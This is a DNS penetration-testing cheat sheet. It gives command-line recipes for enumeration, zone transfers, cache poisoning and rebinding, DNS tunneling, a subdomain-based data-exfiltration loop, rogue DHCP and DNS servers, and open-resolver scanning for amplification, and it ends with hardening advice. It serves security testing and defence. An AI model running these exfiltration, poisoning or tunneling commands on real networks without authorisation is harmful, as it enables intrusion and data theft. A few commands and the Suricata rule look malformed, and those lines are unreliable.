DNS Pentesting
Target: DNS infrastructure, records, zone transfers, reconnaissance, poisoning, amplification attacks, and DNSSEC validation
Table of Contents
- DNS Fundamentals
- Reconnaissance & Enumeration
- Zone Transfer Attacks
- DNS Subdomain Enumeration
- DNS Cache Poisoning
- DNS Tunneling
- DNS Amplification Attacks
- DNSSEC Security
- Dynamic DNS Attacks
- Common Misconfigurations
- Tools Reference
- Defensive Recommendations
DNS Fundamentals
Record Types
| Record |
Purpose |
Security Note |
A |
IPv4 address mapping |
Most common target |
AAAA |
IPv6 address mapping |
Often overlooked |
CNAME |
Canonical name/alias |
Chaining vulnerabilities |
MX |
Mail exchange servers |
Email infrastructure targeting |
NS |
Name server delegation |
Zone transfer targets |
SOA |
Start of authority |
Zone configuration |
PTR |
Reverse DNS lookup |
Infrastructure mapping |
TXT |
Text records |
SPF/DKIM/DMARC, secrets leak |
SRV |
Service location |
AD/LDAP discovery |
CAA |
Certificate authority authorization |
SSL/TLS control |
DNSKEY |
DNSSEC public key |
Cryptographic validation |
DS |
Delegation signer |
Parent zone trust |
RRSIG |
DNSSEC signature |
Record authenticity |
DNS Resolution Flow
Client → Recursive Resolver → Root Server → TLD Server → Authoritative Server
Common Ports
| Port |
Protocol |
Usage |
| 53/udp |
DNS |
Standard queries |
| 53/tcp |
DNS |
Zone transfers, large responses |
| 853/tcp |
DNS-over-TLS |
Encrypted DNS |
| 443/tcp |
DNS-over-HTTPS |
Encrypted DNS (DoH) |
Reconnaissance & Enumeration
Basic DNS Queries
# A record lookup
dig A example.com
dig +short A example.com
# Multiple record types
dig ANY example.com # Rarely works anymore (CVE-2015-8000)
dig A + AAAA + MX + NS + TXT example.com
# Reverse DNS lookup
dig -x 192.168.1.1
dig PTR 1.1.168.192.in-addr.arpa
# Query specific nameserver
dig @ns1.example.com example.com ANY
# Trace resolution path
dig +trace example.com
# Full verbose output
dig +nocmd +multiline +answer example.com
NSLookup Commands
# Interactive mode
nslookup
> server 8.8.8.8
> set type=MX
> example.com
> set type=NS
> example.com
> exit
# Non-interactive
nslookup -type=MX example.com
nslookup -type=NS example.com
nslookup -type=TXT example.com
# Debug mode
nslookup -debug example.com
Host Command
# Simple lookups
host example.com
host -t A example.com
host -t AAAA example.com
host -t MX example.com
host -t NS example.com
host -t TXT example.com
host -t SOA example.com
host -t CNAME www.example.com
# Reverse lookup
host 192.168.1.1
# Zone transfer attempt
host -l example.com ns1.example.com
Mass DNS Resolution
# Resolve list of domains
for domain in $(cat domains.txt); do
dig +short A $domain
done
# Parallel resolution with xargs
cat domains.txt | xargs -P 10 -I {} dig +short A {}
# MassDNS (fast resolution)
massdns -r /opt/massdns/lists/resolvers.txt -t A -o S domains.txt
# ShuffleDNS (with wordlist)
shuffledns -d example.com -w /usr/share/wordlists/dns/subdomains.txt -r resolvers.txt
Zone Transfer Attacks
Testing for AXFR
# Attempt zone transfer with dig
dig @ns1.example.com example.com AXFR
# Alternative syntax
dig AXFR example.com @ns1.example.com
# With specific port
dig @ns1.example.com -p 53 example.com AXFR
# Host command
host -l example.com ns1.example.com
host -t axfr example.com ns1.example.com
# Nmap NSE script
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=example.com -p 53 ns1.example.com
# fierce tool
fierce --domain example.com --dns ns1.example.com
# dnsrecon
dnsrecon -d example.com -t axfr
# dnsenum
dnsenum example.com
Automated Zone Transfer Discovery
# Find nameservers first, then try AXFR
for ns in $(dig +short NS example.com); do
echo "[*] Trying AXFR from: $ns"
dig @$ns example.com AXFR +short
done
# Check all TLD nameservers
dnsrecon -d example.com -D /usr/share/wordlists/dns/subdomains.txt -t std,brt
Zone Transfer Indicators
# If zone transfer succeeds:
# - Complete DNS record dump
# - Internal IP addresses exposed
# - Development/staging domains revealed
# - Infrastructure mapping
# Signs of failed AXFR:
# - "Transfer failed" message
# - "Query refused" response
# - Empty response
DNS Subdomain Enumeration
Wordlist-Based Enumeration
# dnsenum with wordlist
dnsenum -f /usr/share/wordlists/dns/subdomains.txt example.com
# fierce with wordlist
fierce --domain example.com --wordlist /usr/share/wordlists/dns/subdomains.txt
# dnsrecon brute force
dnsrecon -d example.com -D /usr/share/wordlists/dns/subdomains.txt -t brt
# gobuster dns
gobuster dns -d example.com -w /usr/share/wordlists/dns/subdomains.txt -t 50
# assetfinder (passive)
assetfinder --subs-only example.com
# amass (active + passive)
amass enum -d example.com
amass enum -active -d example.com -brute -w /usr/share/wordlists/dns/subdomains.txt
# subfinder (passive)
subfinder -d example.com -all
# knock (with zone transfer check)
knockpy example.com
Permutation/Alteration Scanning
# dnsgen - generate permutations
cat subdomains.txt | dnsgen -w /usr/share/wordlists/dns/words.txt - | massdns -r resolvers.txt -t A -o J
# altdns
cat subdomains.txt | altdns -i - -o data_output -w /usr/share/wordlists/dns/words.txt -r -s results_output.txt
# goaltdns
goaltdns -h
Certificate Transparency Logs
# crt.sh (web interface: https://crt.sh)
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sort -u
# certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=example.com&include_subdomains=true&expand=dns_names" | jq '.[].dns_names[]'
# subfinder (includes CT logs)
subfinder -d example.com -sources crtsh,certspotter
# amass CT enumeration
amass enum -d example.com -src -ip
Recursive Subdomain Discovery
# One-Two punch: find subs, then permute
assetfinder --subs-only example.com | tee subs.txt
cat subs.txt | dnsgen - | tee permutations.txt
cat subs.txt permutations.txt | sort -u | massdns -r resolvers.txt -t A -o S | grep -v "NXDOMAIN"
# Full pipeline with httprobe
assetfinder example.com | massdns -r /opt/massdns/lists/resolvers.txt -t A -o J | jq -r '.data.name' | sort -u | httprobe
DNS Cache Poisoning
Kaminsky Attack (Historical Context)
# Classic attack required:
# 1. Predictable TXID (16-bit entropy)
# 2. Source port prediction
# 3. Birthday attack for collision
# Modern mitigations:
# - Randomized source ports
# - 0x20 bit encoding
# - DNSSEC validation
Snooping Cache Contents
# Check if record is cached
dig @target-resolver example.com
# Timing analysis
dig +stats @target-resolver example.com
# Compare: cached vs non-cached response times
# Predictive subdomain attacks
# Attempt to poison specific subdomains
DNS Rebinding
# Malicious DNS server configuration
# Returns different IP on first vs subsequent queries
# Example dnsrebinder tool
git clone https://github.com/mandatoryprogrammer/dns-rebinding-toolkit
# Attack flow:
# 1. Victim visits attacker.com → gets attacker IP ( whitelist bypass )
# 2. TTL expires, victim requests again → gets internal IP ( 127.0.0.1, 192.168.x.x )
# 3. JavaScript can now access internal resources
Local DNS Cache Poisoning
# Responder (LLMNR, NBT-NS, MDNS poisoner)
sudo responder -I eth0 -wrfv
# Enable DNS poison mode
sudo responder -I eth0 --dns-poison -v
# MitM6 (IPv6 DNS hijacking)
sudo mitm6 -d example.com
# Fake DNS server
python3 -c "
from dnslib.server import DNSServer
from dnslib import DNSRecord, QTYPE, RR, A
def resolve(request, handler):
reply = request.reply()
qname = request.q.qname
if 'target' in str(qname):
reply.add_answer(RR(qname, QTYPE.A, rdata=A('192.168.1.100')))
return reply
server = DNSServer(resolve, port=53, address='0.0.0.0')
server.start()
"
DNS Tunneling
Detection & Analysis
# Detect DNS tunneling patterns
# - Unusually long subdomain queries
# - High volume of DNS queries to single domain
# - TXT/NULL record abuse
# - Base32/Base64 encoded subdomains
# dnstool.py analysis
git clone https://github.com/davidcameron/dnstool
cat dns_logs.txt | python3 dnstool.py --analyze
# Count query lengths
cat dns_logs.txt | awk '{print length($1)}' | sort -n | uniq -c
# Detect encoded data in subdomains
grep -E '\.[a-z0-9]{30,}\.' dns_logs.txt
# iodine - IP over DNS
# Server
sudo iodined -f -c -P password 10.0.0.1 tunnel.example.com
# Client
sudo iodine -f -P password tunnel.example.com
# dnscat2
# Server
sudo ruby dnscat2.rb tunnel.example.com --secret password
# Client
./dnscat2 tunnel.example.com --secret password
# dns2tcp
# Server
dns2tcpd -f dns2tcpd.conf
# Client
dns2tcpc -z tunnel.example.com -l 8888 -r ssh 8.8.8.8
# DoH tunnel
git clone https://github.com/alex-sector/doh-proxy
DNS Exfiltration
# Basic data exfil via subdomains
while read line; do
encoded=$(echo "$line" | base64 | tr '+/' '-_')
dig +short $encoded.tunnel.example.com
done < data.txt
# Using curl with DNS
for chunk in $(split -b 57 data.txt); do
encoded=$(base64 $chunk | tr '+/' '-_')
curl -s "http://$encoded.tunnel.example.com"
done
# tcpdump capture
tcpdump -i eth0 port 53 -w dns_tunnel.pcap
DNS Amplification Attacks
Finding Amplifiable Servers
# ANY query amplification (mostly patched now)
dig +short @vulnerable.dns.com ANY example.com
# NS query amplification
dig +short @vulnerable.dns.com NS .
# TXT record amplification
dig +short @vulnerable.dns.com TXT example.com
# DNSSEC amplification (large keys)
dig +short @vulnerable.dns.com DNSKEY example.com
dig +short @vulnerable.dns.com ANY dnssec-signed.example.com
# Nmap amplification scan
nmap -Pn -sU -p 53 --script dns-recursion,dns-service-discovery <target>
Calculating Amplification Factor
# Request size vs Response size
# Tools: dnsdiag (dnsping, dnsperf, dnstraceroute)
# dnsping measurement
dnsping -s 8.8.8.8 -t ANY google.com
# dnsperf load testing
dnsperf -s target.dns -d queryfile.txt -c 100 -Q 1000
# Check if open resolver
dig @target.dns example.com +short
# If responds to any query, it's an open resolver (amplification risk)
Open Resolver Scanning
# Mass scan for open resolvers
masscan -p53 0.0.0.0/0 --rate 10000 | tee open_resolvers.txt
# Verify with dig
for ip in $(cat open_resolvers.txt); do
dig @$ip google.com +short +time=2
done
# Nmap resolver detection
nmap -sU -p 53 --script dns-recursion -iL targets.txt
DNSSEC Security
DNSSEC Validation Testing
# Check DNSSEC enabled
dig +dnssec example.com DNSKEY
dig +dnssec example.com DS
# Check chain of trust
dig +trace +dnssec example.com
# Delv (modern dig replacement with DNSSEC)
delv @8.8.8.8 example.com +root=example.com
# Verify signatures
dig +dnssec example.com | grep -E "(RRSIG|AD|RRSET)"
# DNSViz (online tool)
# https://dnsviz.net/
# Analyzes DNSSEC chain visually
DNSSEC Key Analysis
# Extract DNSKEY records
dig DNSKEY example.com +short
# Key algorithm detection
# 5 = RSA/SHA1 (deprecated)
# 7 = RSASHA1-NSEC3-SHA1
# 8 = RSA/SHA-256 (common)
# 10 = RSA/SHA-512
# 13 = ECDSA P-256 with SHA-256
# 14 = ECDSA P-384 with SHA-384
# 15 = Ed25519
# 16 = Ed448
# Check for algorithm rollover
dig DNSKEY example.com +short | awk '{print $3}' | sort -u
DNSSEC Attacks
# Zone walking (NSEC)
# NSEC records leak next domain name
ldns-walk @ns1.example.com example.com
# NSEC3 hashed zone walking
# nsec3walker - cracks NSEC3 hashes
nsec3walker example.com.signed
# Key size analysis
dig DNSKEY example.com +short | while read flags proto algo key; do
echo "Algorithm: $algo, Key length: $(echo $key | wc -c)"
done
# Signature expiration check
dig +dnssec example.com SOA | grep RRSIG | awk '{print $5}' # inception
# 6th field = expiration
Common DNSSEC Vulnerabilities
# Missing DS record in parent
dig DS example.com @parent-ns
# Broken trust chain
drill -TD example.com
# Algorithm downgrade
dig DNSKEY example.com +short | grep "^256"
# NSEC vs NSEC3 downgrade
dig NSEC example.com
dig NSEC3PARAM example.com
# Signature algorithm issues
# RSA/SHA1 (alg 5/7) = vulnerable to collision attacks
Dynamic DNS Attacks
DHCP-DNS Integration
# Dynamic updates testing
# Requires TSIG key or insecure configuration
# Check for update support
dig @dns.example.com example.com SOA +norecurse
# Look at MNAME field - primary master
# Attempt dynamic update
nsupdate << EOF
server dns.example.com
zone example.com
update add test.example.com 300 A 192.168.1.1
show
send
EOF
# With TSIG key
nsupdate -k key.private << EOF
server dns.example.com
zone example.com
update add test.example.com 300 A 192.168.1.1
send
EOF
DHCP DNS Hijacking
# rogue-dhcp (ISC DHCP)
sudo rogue-dhcp -i eth0
# Responder DHCP poison
sudo responder -I eth0 -dPv
# dhcpstarv (starvation + rogue)
sudo dhcpstarv -i eth0
# evil-dns (combined attack)
# Responds to DHCP with rogue DNS server
Common Misconfigurations
SPF/DKIM/DMARC Issues
# TXT record analysis
dig TXT example.com
dig TXT _dmarc.example.com
dig TXT default._domainkey.example.com
# SPF parsing
dig TXT example.com | grep "v=spf1"
# Common SPF issues:
# +all (allow all)
# ?all (neutral - ineffective)
# ~all (softfail - ineffective)
# Missing SPF entirely
# DMARC issues:
# p=none (monitoring only)
# No RUA/RUF (no reporting)
# Missing DMARC
# DKIM issues:
# Key too small (512-bit)
# Selector enumeration vulnerability
Wildcard Misconfigurations
# Detect wildcards
dig $(openssl rand -hex 12).example.com
# If resolves, wildcard is configured
# Bypass wildcards for enumeration
dnsrecon -d example.com -t brt --iw
knockpy example.com --wildcard
# Analyze wildcard responses
dig *.example.com
dig anything.example.com
# Compare IPs - if same, likely wildcard
DNS Delegation Issues
# Find orphan records
dig NS example.com
# Check each NS resolves correctly
# Glue record issues
dig +additional example.com NS
# Missing glue records cause resolution delays
# Lame delegation
dig @broken-ns.example.com example.com
# Returns referral instead of answer
# Cyclic dependencies
dig +trace example.com
# Watch for loops in resolution
Internal IP Disclosure
# Private IP in public DNS
dig internal.example.com
# Look for 10.x.x.x, 172.16-31.x.x, 192.168.x.x
# RFC1918 scanning via DNS
dig 10.0.0.1.example.com
dig 192.168.1.1.example.com
# Reverse DNS internal exposure
dig -x 10.0.0.1
# Check if internal PTR records leak info
| Tool |
Purpose |
Command |
| dig |
Standard DNS queries |
dig A example.com |
| host |
Simple lookups |
host -t MX example.com |
| nslookup |
Windows/legacy |
nslookup -type=TXT example.com |
| fierce |
DNS enumeration |
fierce --domain example.com |
| dnsenum |
Multi-purpose DNS tool |
dnsenum example.com |
| dnsrecon |
DNS reconnaissance |
dnsrecon -d example.com -t std |
| massdns |
High-speed resolver |
massdns -r resolvers.txt domains.txt |
| subfinder |
Passive subdomain discovery |
subfinder -d example.com |
| assetfinder |
Subdomain discovery |
assetfinder --subs-only example.com |
| amass |
Comprehensive enumeration |
amass enum -d example.com |
| knockpy |
Zone transfer + brute |
knockpy example.com |
| gobuster |
Directory/DNS brute |
gobuster dns -d example.com -w subs.txt |
| shuffledns |
MassDNS wrapper |
shuffledns -d example.com -w wordlist.txt |
| Tool |
Purpose |
Command |
| Responder |
LLMNR/NBT-NS/DNS poison |
responder -I eth0 -wrfv |
| mitm6 |
IPv6 DNS hijacking |
mitm6 -d example.com |
| iodine |
IP over DNS tunnel |
iodined -f 10.0.0.1 tunnel.example.com |
| dnscat2 |
C2 over DNS |
dnscat2.rb tunnel.example.com |
| dns2tcp |
TCP over DNS |
dns2tcpd -f dns2tcpd.conf |
| dnsteal |
DNS exfiltration |
python3 dnsteal.py 192.168.1.1 |
| nsec3walker |
NSEC3 hash cracking |
nsec3walker zonefile |
| Tool |
Purpose |
Command |
| dnsping |
DNS latency testing |
dnsping -s 8.8.8.8 example.com |
| dnsperf |
Load testing |
dnsperf -s target -d queries.txt |
| delv |
DNSSEC validation |
delv @8.8.8.8 example.com |
| drill |
DNS debugging |
drill -TD example.com |
| ldns-walk |
NSEC zone walking |
ldns-walk @ns example.com |
| dnsviz |
DNSSEC visualization |
(web: dnsviz.net) |
| tcpdump |
DNS traffic capture |
tcpdump -i eth0 port 53 -w dns.pcap |
Defensive Recommendations
Server Hardening
# Disable zone transfers (BIND)
# named.conf
zone "example.com" {
type master;
file "example.com.zone";
allow-transfer { none; };
allow-query { any; };
};
# Response Rate Limiting (RRL)
# named.conf
rate-limit {
responses-per-second 20;
errors-per-second 5;
nxdomains-per-second 10;
slip 2;
};
# Disable recursion for authoritative servers
recursion no;
allow-recursion { none; };
# Minimal responses
minimal-responses yes;
# DNSSEC signing
# Enable on all zones
dnssec-policy default;
Query Logging & Monitoring
# BIND query logging
logging {
channel query_log {
file "queries.log" versions 3 size 5m;
severity debug 3;
print-time yes;
};
category queries { query_log; };
};
# Detect tunneling patterns
# - Queries/min threshold
# - Unique subdomain ratio
# - TXT query volume
# - NXDOMAIN rate
# Suricata rules for DNS
echo 'alert udp any any -> any 53 (msg:"DNS Large Query"; content:>|00 1E|; offset:12; depth:2; sid:1000001; rev:1;)' > dns.rules
Infrastructure Best Practices
# Split DNS architecture
# Internal DNS servers don't recurse externally
# External authoritative servers are separate
# Use Anycast for resolvers
# Distributes load and mitigates DoS
# DNS-over-HTTPS/TLS deployment
# Prevents on-path attacks
# Cloudflare: 1.1.1.1 (DoH/DoT)
# Google: 8.8.8.8 (DoH/DoT)
# Quad9: 9.9.9.9 (DoH/DoT)
# Monitor for:
# - Unexpected zone transfers
# - High query volumes from single sources
# - Queries for non-existent domains (DGA detection)
# - Long subdomain queries (tunneling)
# - DNSSEC validation failures
Email Security (SPF/DKIM/DMARC)
# Recommended SPF
v=spf1 include:_spf.example.com include:spf.protection.outlook.com -all
# Recommended DKIM
# 2048-bit RSA keys minimum
# Rotate keys quarterly
# Recommended DMARC
v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com; pct=100; adkim=s; aspf=s
# Strict DMARC (after monitoring)
v=DMARC1; p=reject; rua=mailto:dmarc@example.com; pct=100; adkim=s; aspf=s
Quick Reference
Emergency DNS Investigation
# 1. Verify resolution chain
dig +trace +dnssec example.com
# 2. Check all authoritative servers
for ns in $(dig +short NS example.com); do
echo "=== $ns ==="
dig @$ns example.com SOA +norecurse
done
# 3. Zone transfer test
dig @ns1.example.com example.com AXFR
# 4. Check for poisoned cache
dig @resolver.example.com example.com +norecurse
dig @resolver.example.com example.com
# 5. DNSSEC validation
delv @resolver.example.com example.com
Common Commands Cheatsheet
# Basic lookups
dig example.com # A record
dig AAAA example.com # IPv6
dig MX example.com # Mail servers
dig NS example.com # Name servers
dig TXT example.com # Text records
dig SOA example.com # Zone authority
dig CNAME www.example.com # Canonical name
dig PTR 1.1.168.192.in-addr.arpa # Reverse lookup
# Advanced
dig +short example.com # Short output
dig +trace example.com # Full resolution path
dig @ns1.example.com example.com # Specific server
dig -x 192.168.1.1 # Reverse lookup shorthand
dig +dnssec example.com # With DNSSEC
dig +norecurse example.com # No recursion flag
# Zone operations
dig @ns1.example.com example.com AXFR # Zone transfer
dig @ns1.example.com example.com IXFR # Incremental transfer
host -l example.com ns1.example.com # Zone listing
# Batch operations
dig -f queryfile.txt # File with multiple queries
cat domains.txt | xargs dig +short
Resources